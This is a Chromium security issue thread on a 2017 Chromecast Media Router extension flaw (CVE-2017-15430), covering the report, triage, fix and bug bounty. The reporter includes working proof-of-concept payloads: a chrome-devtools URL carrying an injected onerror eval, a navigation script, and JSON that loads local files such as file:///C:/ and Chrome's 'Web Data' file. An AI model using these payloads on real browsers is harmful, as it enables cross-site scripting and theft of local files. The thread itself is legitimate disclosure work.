New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 780484 link

Starred by 3 users

Issue metadata

Status: Verified
Owner:
Last visit > 30 days ago
Closed: Nov 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Windows , Chrome , Mac
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: unsafe navigation in chromecast plugin possibly causing UXSS and popup block bypass

Reported by jinmot...@gmail.com, Nov 1 2017

Issue description

VULNERABILITY DETAILS
In Media Router plugin(id: pkedcjkdefgpdelpbcmbmeomcjbeemfm) which is used by chrome cast, there are web_accessible_resources page which does chrome.tabs.update with user-controlled address.

web_acccessible_resources page includes cast_setup/*, and cast_setup/index.html uses cast_app.js. In cast_app.js(canary, since it's not minified) line 7527:

  $crypto$jscomp$inline_903_parsedHash$$ = $castApp$app$parseHash_$$(location.hash);
  switch($crypto$jscomp$inline_903_parsedHash$$.$component$) {
...
    case "offers":
      $crypto$jscomp$inline_903_parsedHash$$.$redemptionUrl$ ? $castApp$app$runOfferRedemption_$$($crypto$jscomp$inline_903_parsedHash$$.$redemptionUrl$) : $castApp$app$runOfferScanner_$$($webview$jscomp$5$$, $eventPageClient$jscomp$5$$);
      break;

$crypto$jscomp$inline_903_parsedHash$$ (I call it parsedHash) is parsed from "#offers/..."-like location.hash, and this case, parsedHash.component == "offers" and parsedHash.$redemptionUrl$ (I call it redemptionUrl) is "...".

When the location.hash is "#offers/http%3A//my_url", the redemptionUrl will be http://my_url, and it'll request a json file from the url. In $castApp$app$runOfferRedemption_$$(I'll simplify code since it seems compilcated):

requestJson(redemptionUrl).then(function(jscomp) {
  var redirectUrl = jscomp.url; // jscomp is the json in response
  if(redirectUrl)
    findOfferRedemptionTabs(encodeURIComponent(url)).then(
      function(tab) { chrome.tabs.update(tab.id, redirectUrl); });
  else reject();
});

findOfferRedemptionTabs:

function findOfferRedemptionTabs(escapedRedemptionUrl) {
  return new Promise(function(resolve) {
    chrome.tabs.query({
      url: ['chrome://cast/*', 'chrome-extension://' + chrome.runtime.id + '/cast_setup*']
    }, function(tabs) {
      var ret = [];
      tabs.forEach(function(tab) {
        if(tab.url.indexOf(escapedRedemptionUrl) != -1) ret.push(tab);
      resolve(ret);
    });
  });
}

redirectUrl is controlled, and the cast_setup/index.html itself can contain escapedRedemptionUrl, so a tab can navigate to any urls including chrome://, file:///, and anything except javascript:, since it's checked in each renderer.

Furthermore, the attacker can bypass popup restriction via  Issue 607939 , which is closed but still triggable by the URL below.

chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html?1:a=0//&remoteFrontendUrl=https://chrome-devtools-frontend.appspot.com/%27%3E%3C/iframe%3E%3Cimg%20src=x%20onerror=%27eval(location.hash.substr(1))#self.open('http://google.com', '_blank')

By first bug, the extension can navigate to the URL below and bypass popup restriction, since chrome-devtools://* doesn't have it.

Then, an attacker can do UXSS on http://*/*, https://hangouts.google.com/*, https://*.google.com/cast/chromecast/home/gsse(I call it permitted urls), since there are no check for race condition between chrome.tabs.query in findOfferRedemptionTabs and runOfferRedemption_. If the tab with address chrome://cast/* or chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_setup* is queried and the url is changed between two points, chrome.tabs.update can update the tabs with same id, but the permitted urls. I'll upload the video as a comment.

VERSION
Chrome Version: [64.0.3255.0] + [canary]
Operating System: Windows

REPRODUCTION CASE
A page can execute this script to navigate any page:

location = 'chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_setup/cast_app.js#offers/http%3A%2F%2Flocalhost%3A31337%2Findex.json';

Before running the script, make http://localhost:31337/index.json (or any url with Access-Control-Allow-Origin: * and Content-Type: application/json) serve this json:

{
  "url": "url_to_navigate"
}

 
Typo: cast_setup/cast_app.js#... -> cast_setup/index.html#...

For simple PoC, I've attached the html+json file and the server.

chrome_redirect_settings.zip
981 bytes Download
Cc: mfo...@chromium.org imch...@chromium.org
Components: Internals>Cast>API
Owner: zhaobin@chromium.org
Status: Assigned (was: Unconfirmed)
+Cast API folks, can you look at this ASAP to determine the level of impact?
Cc: ltovar@google.com tilmansp@google.com sheretov@google.com
+cc media router extension OWNERs. PTAL asap, thanks.
Is the offer flow actually being used?  Can we just disable it?
Can we route this to ryanlc@. He and his team currently maintain this extension.
Cc: ryanlc@google.com
+ryanlc to follow up.
Cc: amp@chromium.org
+amp from Cloud View to track this from a release POV as I am OOO.

Comment 8 by amp@chromium.org, Nov 9 2017

Cc: markdavidscott@google.com

Comment 9 by amp@chromium.org, Nov 9 2017

Cc: sko...@chromium.org
Owner: ----
Unassign myself. I am not familiar with cast app or cast setup scripts.
Labels: Security_Impact-Stable Needs-Feedback OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows
Owner: amp@chromium.org
So, I don't see a UXSS bug. Can you provide a proof of concept showing that you can bypass the smae origin policy? Maybe I'm not understanding the vulnerable code or the "race condition" comment well enough.

However, it does seem like you can get the extension to read and trust your own JSON. Are there any exciting object fields besides "url" that it will act on, that you could use to control execution flow inside the extension? Maybe not, but it sure looks suspicious...

Assigning to amp since mfoltz is OOO and ryanlc hasn't visited the bug tracker in 30 days.
Cc: dgozman@chromium.org
+dgozman for the mention of  Issue 607939 .

Comment 13 by amp@chromium.org, Nov 9 2017

Status: Started (was: Assigned)
Taking this.  I have an internal cl almost ready (tests are failing so needs some adjustment) at cl/175096463. tilmansp@ I added you as a reviewer as you are in the owners file for the relevant code.

Comment 14 by amp@chromium.org, Nov 9 2017

Labels: -OS-Android
Removing android OS as the similar features there are not handled with the media router extension and aren't impacted by this.

Comment 15 by amp@chromium.org, Nov 9 2017

Cc: johnpallett@chromium.org
Here is UXSS proof on hangouts.google.com, which is triggable if two or more windows are controllable. I've recorded the video since the race condition will need a unnecessarily complex code for PoC.

I prefer 2x speed for playing it..

https://www.youtube.com/watch?v=ZCtlBx5NfhY&feature=youtu.be
Popup block bypass must be done for PoC without user interaction since it needs two or more window which is controllable (so the race condition can happend).
Umm.. the video has removed, so I upload it here.
bandicam 2017-11-09 13-16-52-735.mp4
15.3 MB Download
Labels: Security_Severity-Medium
Thanks for the video. I think this is Medium severity because the user would have to navigate the tab at the exact right moment for the UXSS to be exploitable.
In the report, I mentioned that even the devtools  bug 607939  is fixed, it works. (only the DevToolsHost object is not created, but it's still sufficient to open a window)
@palmer: Running a javascript on an extension is not possible for now since it's checked on each renderer side (and maybe correctly checked), and there's no race condition as I see, for now.
Project Member

Comment 22 by sheriffbot@chromium.org, Nov 10 2017

Labels: M-63
Project Member

Comment 23 by sheriffbot@chromium.org, Nov 10 2017

Labels: Pri-1
Update: a javascript code can be executed with DevToolsHost object.

Below is PoC that load any page's content.

)]}'{
	"url": "chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html?1:a=0//&remoteFrontendUrl=https://chrome-devtools-frontend.appspot.com/%27%3E%3C/iframe%3E%3Cimg%20src=x%20onerror=%27eval(location.hash.substr(1))#window.w=w=self.open('chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html');setTimeout(()=>{w.DevToolsAPI.streamWrite=(e,r)=>document.write(r);w.DevToolsAPI.sendMessageToEmbedder('loadNetworkResource', ['file:///C:/', '', 0])},100)"
}
(This loads a page content in the devtools window, enabling file exfiltration, passive? UXSS, ...)

Comment 26 by amp@chromium.org, Nov 14 2017

Status: Fixed (was: Started)
Two fixes have been pushed (for Chrome 64 and Chrome 63, a slower staged release to 62 is ongoing) to the media router extension that prevents the redirect to internal chrome-* url's. cl/175238127 and cl/175566742

Further long term fixes are being worked on.

The window opening of  bug 607939  still needs to be addressed, perhaps 607939 should be re-opened?

Marking this fixed.  Please verify.
@amp: In PoC above, I could load any URL's content without user interaction. I'm wondering if it affects current severity level (medium)?

If possible, when I will be able to get the patched code (since I could not verify this as patched in chrome canary build)?

Comment 28 by amp@chromium.org, Nov 14 2017

Ah, forgot about canary, sorry about that.  Canary should be updated with the next automated push tomorrow (we don't manually touch canary pushes as they are refreshed everyday anyway).  I'll post an update when the canary version that contains the fix is ready.
Note that  issue 775527  tracks the problem described in #c24.
@dgozman: can I see the issue?
For fun, I've attached PoC video which can exfiltrate chrome Web Data files. It's just #c24 PoC with path file:///C:/Users/<my name>/AppData/Local/Google/Chrome/User Data/Default/Web Data
bandicam 2017-11-14 10-54-45-637.mp4
703 KB View Download
Labels: reward-topanel
Project Member

Comment 33 by sheriffbot@chromium.org, Nov 14 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 34 by amp@chromium.org, Nov 14 2017

Canary has now been updated.
I think it's correctly fixed. Thanks!

Comment 36 by amp@chromium.org, Nov 15 2017

Status: Verified (was: Fixed)
Labels: -reward-topanel reward-unpaid reward-500
*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************
Hi jinmoteam@ the VRP Panel took a look at this, and rewarded $500 for the initial report. The issue in #24 is covered by  issue 775527  which was filed on October 17th. Cheers, and thanks again for the report!
Labels: -reward-unpaid reward-inprocess
Aha, so it was duplicated. Thanks for the rewards.
Labels: Release-0-M63
Project Member

Comment 42 by sheriffbot@chromium.org, Dec 15 2017

Labels: Merge-Request-64
Project Member

Comment 43 by sheriffbot@chromium.org, Dec 15 2017

Labels: -Merge-Request-64 Hotlist-Merge-Review Merge-Review-64
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 44 by amp@chromium.org, Dec 16 2017

Labels: -Hotlist-Merge-Review -Merge-Review-64
Not sure why the bot put on a merge request.  Removing the merge labels as there is nothing to merge in this change, it has been resolved since mid Nov.
Although it's trivial, can I get a credit for this on chromereleases.googleblog.com ?
Labels: CVE-2017-15430
I've updated https://chromereleases.googleblog.com/2017/12/stable-channel-update-for-desktop.html - still not quite sure how this one didn't make the notes in the first place, sorry about that!
Project Member

Comment 48 by sheriffbot@chromium.org, Feb 20 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 49 by sheriffbot@chromium.org, Mar 27 2018

Labels: -M-63 M-65
Labels: CVE_description-missing
Seems like other browser based on chrome doesn't receive any updates for this if the chrome version is old.

I'm not sure whether it should be fixed so old browser receive the update, or it's fixable, so I added this comment.

=== Example ===

Update request with current chrome version (65.0.3325.181):

https://clients2.google.com/service/update2/crx?prodversion=65.0.3325.181&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D6117.717.0.4%26uc

Result: <updatestatus status="ok" [crx url] ... >

Update request with old chrome version (60.0.3112.113):

https://clients2.google.com/service/update2/crx?prodversion=60.0.3112.113&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D6117.717.0.4%26uc

Result: <updatestatus status="noupdate" />

Thanks!
Labels: -CVE_description-missing CVE_description-submitted

Sign in to add a comment